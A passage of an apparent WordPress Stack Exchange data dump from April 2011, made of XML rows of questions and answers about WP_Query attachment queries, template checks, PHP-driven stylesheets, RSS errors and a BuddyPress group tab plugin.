direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It turns out I was using &quot;status&quot; instead of &quot;post_status&quot;. The codex had used &quot;status&quot; as the example in its in-context explanation of the &quot;attachment&quot; post type. I updated the codex to reference &quot;post_status&quot; instead. The correct code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$events_gallery = new WP_Query( // Start a new query for our videos&#xA;array(&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID, // Get data from the current post&#xA;    'post_type' =&amp;gt; 'attachment', // Only bring back attachments&#xA;    'post_mime_type' =&amp;gt; 'image', // Only bring back attachments that are images&#xA;    'posts_per_page' =&amp;gt; '3', // Show us the first result&#xA;    'post_status' =&amp;gt; 'inherit', // Attachments default to &quot;inherit&quot;, rather than published. Use &quot;inherit&quot; or &quot;all&quot;. &#xA;    'orderby' =&amp;gt; 'rand', // Order the attachments randomly  &#xA;    )&#xA;);  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="1766" LastEditorDisplayName="" LastEditDate="2011-04-20T02:31:58.513" LastActivityDate="2011-04-20T22:31:23.607" Title="Broken? WP_Query and &quot;attachment&quot; as a post type" Tags="&lt;wp-query&gt;&lt;attachments&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" />
  <row Id="15164" PostTypeId="2" ParentId="14767" CreationDate="2011-04-19T22:45:04.973" Score="0" ViewCount="" Body="&lt;p&gt;Just took a quick look and one problem I see is the way the line height is inherited in Safari (and presumably Chrome). In those two browsers you wind up with a 15px line height, whereas in Firefox it's 13px - at least that's the way it is on the versions I have installed. This may be the entire problem. It isn't hanging into the header image for me - it's just tight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The line height is being inherited from the &quot;body, input, textarea&quot; declaration on line 76 of your main style sheet. If you'll explicitly set the line height for that input in your #searchform #s declaration (line 105) it should help.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-04-19T22:45:04.973" />
  <row Id="15165" PostTypeId="2" ParentId="15163" CreationDate="2011-04-19T23:13:15.850" Score="0" ViewCount="" Body="&lt;p&gt;Looking at the query it generates, it does appear to be a bug of sorts. 'status' =&gt; 'inherit' is interpreted as the parent's status, when the entry in the db for the attachment is literally 'inherit'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative is to use get_children in place of WP_Query.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-04-19T23:13:15.850" />
  <row Id="15166" PostTypeId="2" ParentId="15162" CreationDate="2011-04-19T23:43:08.140" Score="1" ViewCount="" Body="&lt;p&gt;Look in your theme comments.php file for those words to delete. If not in there, check your functions.php file.&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-19T23:43:08.140" />
  <row Id="15167" PostTypeId="2" ParentId="15141" CreationDate="2011-04-19T23:46:32.913" Score="0" ViewCount="" Body="&lt;p&gt;Is something like this what you're looking for? This code can be placed anywhere in your template or sidebar, even outside the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vonlind.com/2011/04/show-wordpress-child-pages-alongside-parent-page/&quot; rel=&quot;nofollow&quot;&gt;http://vonlind.com/2011/04/show-wordpress-child-pages-alongside-parent-page/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-19T23:46:32.913" CommentCount="1" />
  <row Id="15168" PostTypeId="2" ParentId="15156" CreationDate="2011-04-20T00:03:53.140" Score="0" ViewCount="" Body="&lt;p&gt;Go to &lt;a href=&quot;http://yourdomain.com/wp-admin/options.php&quot; rel=&quot;nofollow&quot;&gt;http://yourdomain.com/wp-admin/options.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for both the Site URL and Blog URL fields, and make sure the domain name is correct.&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-20T00:03:53.140" />
  <row Id="15169" PostTypeId="2" ParentId="15156" CreationDate="2011-04-20T00:12:01.293" Score="0" ViewCount="" Body="&lt;p&gt;In case you are using Permalinks, try re-setting them in the Settings &gt; Permalinks page.&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-20T00:12:01.293" />
  <row Id="15170" PostTypeId="2" ParentId="15163" CreationDate="2011-04-20T00:16:38.110" Score="0" ViewCount="" Body="&lt;p&gt;I've been able to display all images that are attachments to a post using this code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array( 'post_type' =&amp;gt; 'attachment', 'orderby' =&amp;gt; 'menu_order', 'order' =&amp;gt; 'ASC', 'post_mime_type' =&amp;gt; 'image' ,'post_status' =&amp;gt; null, 'post_parent' =&amp;gt; $post-&amp;gt;ID );&#xA;$attachments = get_posts($args);&#xA;    if ($attachments) {&#xA;    foreach ( $attachments as $attachment ) { ?&amp;gt;&#xA;      &amp;lt;img src=&quot;&amp;lt;?php echo wp_get_attachment_url( $attachment-&amp;gt;ID , false ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php   }&#xA;    } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to echo the URL of the original full size image, you could link that image off to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo wp_get_attachment_url( $attachment-&amp;gt;ID , false ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this is an approach to what you're trying to do.&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-20T00:16:38.110" CommentCount="2" />
  <row Id="15171" PostTypeId="2" ParentId="14798" CreationDate="2011-04-20T00:26:56.140" Score="0" ViewCount="" Body="&lt;p&gt;There are two approaches to my question, that are both useful. They were provided by @goldenapples and @Bainternet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/858/custom-post-type-data-in-sidebar-widgets&quot;&gt;Custom Post Type Data in Sidebar widgets?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/8608/how-to-quickly-switch-custom-post-type-singular-template/8610#8610&quot;&gt;How to quickly switch custom post type singular template?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4680" LastActivityDate="2011-04-20T00:26:56.140" />
  <row Id="15172" PostTypeId="1" AcceptedAnswerId="15181" CreationDate="2011-04-20T00:53:29.980" Score="1" ViewCount="92" Body="&lt;p&gt;Is there a native function to check if a theme a template file.  For instance, if a theme is not using the 'home.php' file, then execute some code...&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-04-20T03:52:34.997" Title="How do you check if a WordPress template file exist?" Tags="&lt;template&gt;" AnswerCount="2" />
  <row Id="15173" PostTypeId="2" ParentId="15153" CreationDate="2011-04-20T00:54:12.850" Score="1" ViewCount="" Body="&lt;p&gt;Mark Jaquith a WP core developer wrote a plugin called &lt;a href=&quot;http://txfx.net/wordpress-plugins/gravatar-signup/&quot; rel=&quot;nofollow&quot;&gt;Gravatar Signup&lt;/a&gt; which checks if the user has a Gravatar when the leave comments (and maybe when the first signup) and if not shows a link to the gravatar site. They would still need to sign up at Gravatar.com but this may be a simple fix to your problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I try to stay away from plugins that allow users to upload their own author pics but that's just personal preference. &lt;/p&gt;&#xA;" OwnerUserId="2204" LastActivityDate="2011-04-20T00:54:12.850" />
  <row Id="15174" PostTypeId="2" ParentId="15163" CreationDate="2011-04-20T00:57:06.750" Score="3" ViewCount="" Body="&lt;p&gt;These are the query parameters i use...works for me when i loop through the results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(&#xA;                'post_parent' =&amp;gt; $post-&amp;gt;ID,&#xA;                'post_status' =&amp;gt; 'null',&#xA;                'post_type'=&amp;gt; 'attachment',&#xA;                'post_mime_type' =&amp;gt; 'image/jpeg,image/gif,image/jpg,image/png'                  &#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-04-20T00:57:06.750" CommentCount="1" />
  <row Id="15175" PostTypeId="1" CreationDate="2011-04-20T01:01:18.907" Score="1" ViewCount="142" Body="&lt;p&gt;Working on a site and the user only uses two roles. Admin and Author. He has hundreds of authors writing on his blog and wants the ability to hide all Posts under the Posts section of the admin panel that the current logged in author did not write.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically when an author logs in he wants them to only be able to SEE their own posts and not everyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a competition blog and he doesn't' want them to easily be able to see the total number of posts written by someone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated. I'm sure there is a hook I can throw in my functions.php file that will hide this, but no look in the last 3 hours of googleling.&lt;/p&gt;&#xA;" OwnerUserId="4775" LastActivityDate="2011-04-20T07:45:04.103" Title="Wordpress - Hide posts in admin from user who did not write them" Tags="&lt;posts&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="15176" PostTypeId="1" CreationDate="2011-04-20T02:20:38.340" Score="0" ViewCount="153" Body="&lt;p&gt;I am including a particular PHP file as a style sheet using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;&amp;lt;? echo THEME_CSS;?&amp;gt;/styles.php&quot; media=&quot;screen&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Recently I reached the point where I needed to use TEMPLATEPATH and various built-in WordPress functions. Alas I am getting &quot;Warning: require_once(TEMPLATEPATH/framework/theme.php) [function.require-once]: &quot; and similar errors indicating that this file is not taking advantage of the WordPress environment in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If WordPress was even working correctly here, TEMPLATEPATH should be the actual template path. In addition, other functions such as get_bloginfo(), etc.. are not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someway I can initialize WordPress explicitly to let me pull options from the admin panels?&lt;/p&gt;&#xA;" OwnerUserId="4776" LastEditorUserId="4776" LastEditorDisplayName="" LastEditDate="2011-04-20T03:51:29.760" LastActivityDate="2011-04-20T08:20:49.127" Title="PHP stylesheet cannot use standard WP functions" Tags="&lt;3.0&gt;&lt;php&gt;&lt;functions&gt;&lt;css&gt;&lt;theme-options&gt;" AnswerCount="3" />
  <row Id="15177" PostTypeId="2" ParentId="15176" CreationDate="2011-04-20T02:36:31.227" Score="1" ViewCount="" Body="&lt;p&gt;You may consider using some alternative functions to return the path you are looking for instead, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//this one may return as well as some unwatned theme-specific stuff&#xA;get_bloginfo('template_directory');&#xA;&#xA;//this returns the pure url&#xA;get_bloginfo('template_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//basically the same as template_directory, may come over with extra info&#xA;get_bloginfo('stylesheet_directory');&#xA;&#xA;//returns the url followed by style.css&#xA;get_bloginfo('stylesheet_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These very well could be subject to the same problem, let me know if this doesn't work. You may have to throw in some includes at the top of your file regardless of what you end up using in order to get any of these to work.&lt;/p&gt;&#xA;" OwnerUserId="4282" LastActivityDate="2011-04-20T02:36:31.227" CommentCount="3" />
  <row Id="15178" PostTypeId="2" ParentId="15172" CreationDate="2011-04-20T03:06:51.350" Score="4" ViewCount="" Body="&lt;p&gt;Any reason &lt;code&gt;locate_template()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/locate_template&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) wouldn't work?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( '' != locate_template( 'home.php' ) ) {&#xA;     // 'home.php' found in Theme, do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;locate_template()&lt;/code&gt; will check both TEMPLATEPATH and STYLESHEETPATH, so it works for both a stand-alone Theme and a Child Theme.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-20T03:06:51.350" CommentCount="1" />
  <row Id="15179" PostTypeId="1" AcceptedAnswerId="15201" CreationDate="2011-04-20T03:26:15.710" Score="2" ViewCount="163" Body="&lt;p&gt;I'm getting ready to submit a theme to the .Org repo and wanted to make sure that everything is in ordnung. One of the biggest holes left in my design is the comments template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've taken a look at comments.php in a few themes, Twenty Ten chief among them and have come away more confused than when I started. It seems as though (based upon tutorials from Otto, WP Engineer, etc.) the comments template has been simplified, yet when I look at the source to most themes' comments.php, they are still as convoluted as in the Christian-Montoya-derived days of old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So help me out -- what's the best way to set up a comments template that will capture the state-of-the art functionality as of WP 3.0/3.1 and yet maintain code simplicity?&lt;/p&gt;&#xA;" OwnerUserId="61" LastActivityDate="2011-04-20T11:07:06.940" Title="What are the current recommended best-practices for comments.php?" Tags="&lt;comments&gt;&lt;best-practices&gt;&lt;templates&gt;" AnswerCount="2" />
  <row Id="15180" PostTypeId="2" ParentId="15179" CreationDate="2011-04-20T03:35:33.160" Score="0" ViewCount="" Body="&lt;p&gt;Use &lt;a href=&quot;http://wordpress.org/extend/plugins/disqus-comment-system/&quot; rel=&quot;nofollow&quot;&gt;Disqus&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-04-20T03:35:33.160" CommentCount="1" />
  <row Id="15181" PostTypeId="2" ParentId="15172" CreationDate="2011-04-20T03:52:34.997" Score="1" ViewCount="" Body="&lt;p&gt;So I would add to the Answer the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;function foo_function() {&#xA;     if ( !empty(locate_template( 'home.php' )) ) {&#xA;          // 'home.php' found in Theme, do something&#xA;     }&#xA;}&#xA;add_action('init', 'foo_function');&#xA;// remember to change both of the parameters above, first one for where you want the&#xA;// action to happen and the second one the name of the function declared&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As @Chip Bennett, said it will check both &lt;code&gt;TEMPLATEPATH&lt;/code&gt; and &lt;code&gt;STYLESHEETPATH&lt;/code&gt;, but I would append the code to a hook instead of just putting it in the &lt;code&gt;functions.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But's up to you.&lt;/p&gt;&#xA;" OwnerUserId="454" LastActivityDate="2011-04-20T03:52:34.997" CommentCount="1" />
  <row Id="15182" PostTypeId="2" ParentId="15176" CreationDate="2011-04-20T04:07:58.110" Score="2" ViewCount="" Body="&lt;p&gt;If you're linking to a file, it's opened as a new file. So unless you explicitly include wp_load.php or something within that styles file, WordPress is not available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Loading WP all over again in one page load seems like complete overkill to me. Why don't you just include your style file as an inline stylesheet, if you need to use WP engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;&amp;lt;?php include_once('styles.php'); ?&amp;gt;&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-04-20T04:07:58.110" CommentCount="2" />
  <row Id="15183" PostTypeId="2" ParentId="12532" CreationDate="2011-04-20T04:59:36.850" Score="2" ViewCount="" Body="&lt;p&gt;Facebook caches information about a page when share it.  You can use the &lt;a href=&quot;http://developers.facebook.com/tools/lint/&quot; rel=&quot;nofollow&quot;&gt;URL Linter&lt;/a&gt; to refresh the cache and see exactly what info FB has on your page. The linter has helped me quite a bit with these issues.&lt;/p&gt;&#xA;" OwnerUserId="2807" LastActivityDate="2011-04-20T04:59:36.850" />
  <row Id="15184" PostTypeId="1" CreationDate="2011-04-20T05:02:03.333" Score="0" ViewCount="40" Body="&lt;p&gt;I am new here, but have been enjoying the help of this site for the last week or so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a wordpress site that allows users to post and each post has a taxonomy term related to it. I am using get_objects_in_term() to get an array of post ID's that are related to the term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the get all the posts authors emails. the closest I got was using the get_post function, but it only accepts one post at a time. I have also searched for a better function but with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a function similar to get_post() the accetps arrays or of a way to loop through the array and run the get_post() each time or something that can accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EXAMPLE  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_objects_in_term() // array of post&#xA;foreach ( $post as $post) // looping&#xA;$authorid = get_post($post) // only accepts one post&#xA;get_the_author_meta(user_email, $authorid) // get all the emails&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any help is appreciated. Thanks in advance. &lt;/p&gt;&#xA;" OwnerUserId="4777" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-20T06:39:36.843" LastActivityDate="2011-04-20T06:39:36.843" Title="How do I get all the post authors emails that are related to a taxonomy term in WordPress?" Tags="&lt;posts&gt;&lt;taxonomy&gt;&lt;author&gt;&lt;terms&gt;" />
  <row Id="15185" PostTypeId="2" ParentId="14715" CreationDate="2011-04-20T05:08:26.913" Score="0" ViewCount="" Body="&lt;p&gt;Seo is just something that needs a common sense approach, nothing cryptic about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as your new theme doesn't affect the usability of your site, does not re-arrange internal linking schemes or seo friendly urls u can change it with no seo loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it changes the Nav bar or accordion the follow or rank/ link juice might change, only worhty pages need to be placed on the nav bar.&lt;/p&gt;&#xA;" OwnerUserId="4778" LastActivityDate="2011-04-20T05:08:26.913" />
  <row Id="15186" PostTypeId="1" AcceptedAnswerId="15198" CreationDate="2011-04-20T05:31:13.120" Score="4" ViewCount="129" Body="&lt;p&gt;I have seen a number of solutions of how to manually attach links to the new WP admin bar, but I need to make this much easier for my site admins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It occurred to me that the easiest solution would be to create a custom navigation menu, and then have that menu 'attached' to the admin bar. This way the site admin could very easily add new links to the admin bar by simply adding pages to the custom menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary idea being to place a dropdown menu displaying the menu pages directly on the right side of the admin bar. &lt;/p&gt;&#xA;" OwnerUserId="370" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-04-20T09:13:05.667" LastActivityDate="2011-04-20T09:13:05.667" Title="Attaching a navigation menu to the admin bar?" Tags="&lt;custom-menus&gt;&lt;admin-bar&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="15187" PostTypeId="2" ParentId="14715" CreationDate="2011-04-20T05:43:27.680" Score="0" ViewCount="" Body="&lt;p&gt;SEO is not a point-value system; it is determined (fairly automatically) by search engines. Disregarding themes for a minute, your pages are not going to change, so their initial SEO rating will not be changed. Outbound links can detriment your SEO to a point. Terrible themes with bad SEO optimization may hurt your site's SEO ranking a bit, but your content is likely to be the much more important determining factor.&lt;/p&gt;&#xA;" OwnerUserId="4779" LastActivityDate="2011-04-20T05:43:27.680" />
  <row Id="15188" PostTypeId="1" AcceptedAnswerId="16153" CreationDate="2011-04-20T07:08:36.923" Score="0" ViewCount="165" Body="&lt;p&gt;Is there a ready plugin or solution for implementing Featured Image function to Categories and Links? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At Pages and Posts I use the feature image as a background image, using the full size original image, and I'd like to achieve the same, meaning I'd like to have featured full size image for categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Links, I'd like to attach an upload image to them, probably with auto-resize ability with different size to the default media size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there solutions already done to achieve these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;cadeyrn&lt;/p&gt;&#xA;" OwnerUserId="4209" LastActivityDate="2011-05-02T05:36:58.427" Title="Featured image for links and categories" Tags="&lt;categories&gt;&lt;links&gt;&lt;media-library&gt;&lt;post-thumbnails&gt;" AnswerCount="2" />
  <row Id="15189" PostTypeId="2" ParentId="15175" CreationDate="2011-04-20T07:45:04.103" Score="3" ViewCount="" Body="&lt;p&gt;If i understand correctly then this could be what your looking for &lt;a href=&quot;http://wordpressapi.com/2011/04/10/show-only-current-authors-post-in-wordpress-admin-panel/&quot; rel=&quot;nofollow&quot;&gt; &quot;Show only Current Author Posts In Wp-admin&quot;&lt;/a&gt; it seems to fill your requirements&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-04-20T07:45:04.103" />
  <row Id="15190" PostTypeId="1" CreationDate="2011-04-20T08:01:13.107" Score="0" ViewCount="165" Body="&lt;p&gt;Hiya Guys! I need some help and I was hoping someone out there would know how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm busy working on a site called: www.terenceraft.com and in the DESIGN section I have a page of posts - the posts all feature Slideshow Gallery Pro plugin - that I need to heavily tailor but most of the core functionality is there except 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to have multiple instances of this guy on a page - at the moment it only shows 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="4179" LastActivityDate="2011-04-20T08:01:13.107" Title="Slideshow Gallery PRO Plugin - Multiple Instances" Tags="&lt;plugins&gt;&lt;multiple&gt;&lt;slideshow&gt;" CommentCount="2" />
  <row Id="15191" PostTypeId="2" ParentId="15176" CreationDate="2011-04-20T08:20:49.127" Score="1" ViewCount="" Body="&lt;p&gt;The concept of PHP-driven style sheets is sub-optimal because the PHP interpreter - and the WordPress bootstrap, which is &lt;em&gt;fat!&lt;/em&gt; - has to be started for every CSS request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, consider using relative paths - note that if your style sheet and the image are in the same template directory, things like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;../images/image.gif&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will work! Paths in style sheets are relative to the actual style sheet's location, not the page's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, while inline styles are indeed bad, consider having a static style sheet, and specifying only the dynamic properties in the document head.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;.....&quot; type=&quot;text/css&quot;&amp;gt;&#xA;&amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA; .class { background-image: url(&amp;lt;?php echo $xyz; ?&amp;gt;) }&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2161" LastActivityDate="2011-04-20T08:20:49.127" CommentCount="7" />
  <row Id="15192" PostTypeId="2" ParentId="15188" CreationDate="2011-04-20T08:26:33.840" Score="0" ViewCount="" Body="&lt;p&gt;If you are no afraid of code , take a look at &lt;a href=&quot;http://www.deluxeblogtips.com/p/taxonomy-meta-script-for-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/p/taxonomy-meta-script-for-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it had a great class to add &quot;meta fields&quot; for taxonomies (including categories) and a very simple way to implement the built in media uploader to a custom field in the edit category screen. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uploaded images' ID are saved as a field with multiple values. Each uploaded image is treated as an attachment. This means it has all sizes that defined in Media section or in your theme functions.php file. So, you can use some built-in functions to get image URL, image size, etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-20T08:26:33.840" CommentCount="1" />
  <row Id="15193" PostTypeId="1" AcceptedAnswerId="15907" CreationDate="2011-04-20T08:31:55.437" Score="0" ViewCount="200" Body="&lt;p&gt;I'm having trouble reading RSS feeds created by WP3 on the same domain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I do a print_r($rss); at the part of my plugin where it does the RSS parsing, I get the following output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WP_Error Object ( [errors] =&gt; Array ( [simplepie-error] =&gt; Array ( [0] =&gt; WP HTTP Error: couldn't connect to host ) ) [error_data] =&gt; Array ( ) )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RSS feed address being supplied validates and everything, btw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to me the issue has something to do with the webserver being unable to grab its own RSS feeds. This is all very confusing. There's a blog post that seems to identify the issue at: &lt;a href=&quot;http://www.ajaykumarsingh.com/wordpress/rss-error-wp-http-error-couldnt-resolve-host.html&quot; rel=&quot;nofollow&quot;&gt;http://www.ajaykumarsingh.com/wordpress/rss-error-wp-http-error-couldnt-resolve-host.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...Alas, it does not contain any solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas for a workaround would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-04-29T05:59:34.250" Title="WP HTTP Error: couldn't connect to host for RSS feeds on same domain" Tags="&lt;3.0&gt;&lt;rss&gt;&lt;simplepie&gt;" AnswerCount="1" />
  <row Id="15194" PostTypeId="2" ParentId="13270" CreationDate="2011-04-20T08:35:31.933" Score="0" ViewCount="" Body="&lt;p&gt;There seems to be a bug in the Yoast Plugin, which was fixed by switching on to the NavXT Plugin to do breadcrumbs instead. &lt;/p&gt;&#xA;" OwnerUserId="3365" LastActivityDate="2011-04-20T08:35:31.933" />
  <row Id="15195" PostTypeId="2" ParentId="14186" CreationDate="2011-04-20T08:51:00.553" Score="1" ViewCount="" Body="&lt;p&gt;GoDaddy make use CloudLinux on their servers, meaning you're allocated a small amount of CPU, RAM and a certain number of concurrent connections to Apache per user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CloudLinux makes it possible for GoDaddy to indeed &quot;prioritise&quot; users based on the noise they make to tech-support by simply allocating a larger portion of the CPU/RAM available for bursting to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CloudLinux however is a good thing when reasonable limits are set, as it means abusive users cannot consume 95% of the servers total processing power and RAM, but when limited too harshly will indeed result in the experience you're having.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I implore you to go forth and whine at tech-support to increase your limits :-)&lt;/p&gt;&#xA;" OwnerUserId="4783" LastActivityDate="2011-04-20T08:51:00.553" />
  <row Id="15196" PostTypeId="1" CreationDate="2011-04-20T08:53:15.433" Score="0" ViewCount="151" Body="&lt;p&gt;I'm trying to add a new tab/page in the groups page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Groups Links&#xA;Description: Add links to the groups page.&#xA;Author: Thomas Clayson&#xA;*/&#xA;function add_groups_links_page(){&#xA;    global $bp;&#xA;&#xA;    $groups_link = $bp-&amp;gt;root_domain . '/' . $bp-&amp;gt;groups-&amp;gt;slug . '/' . $bp-&amp;gt;groups-&amp;gt;current_group-&amp;gt;slug . '/';&#xA;&#xA;    bp_core_new_subnav_item( array(&#xA;       'name' =&amp;gt; 'Links',&#xA;       'slug' =&amp;gt; 'group-links',&#xA;       'parent_url' =&amp;gt; $groups_link,&#xA;       'parent_slug' =&amp;gt; $bp-&amp;gt;groups-&amp;gt;slug,&#xA;       'screen_function' =&amp;gt; 'group_links_function_to_show_screen',&#xA;       'position' =&amp;gt; 40 ) );&#xA;}&#xA;add_action( 'wp', 'add_groups_links_page');&#xA;&#xA;function group_links_function_to_show_screen() {&#xA;&#xA;    add_action( 'bp_template_title', 'group_links_function_to_show_screen_title' );&#xA;    add_action( 'bp_template_content', 'group_links_function_to_show_screen_content' );&#xA;&#xA;    $templates = array('groups/single/plugins.php','plugin-template.php');&#xA;    if( strstr( locate_template($templates), 'groups/single/plugins.php' ) ) {&#xA;        bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'groups/single/plugins' ) );&#xA;    } else {&#xA;        bp_core_load_template( apply_filters( 'bp_core_template_plugin', 'plugin-template' ) );&#xA;    }&#xA;}&#xA;&#xA;function group_links_function_to_show_screen_title() {&#xA;    echo 'Links';&#xA;}&#xA;&#xA;function group_links_function_to_show_screen_content() { &#xA;    echo &quot;Rawr&quot;;&#xA;}&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yet when I click on &quot;Links&quot; on the groups page it just takes me back to the homepage! :( I have no idea why this isn't working. Here is a screenshot of the page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/za4F5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture I've mouse-over'd the link and you can see that it points to the right place... &lt;code&gt;wordpressdomain/groups/test-group/group-links/&lt;/code&gt; however clicking it takes me to the homepage! 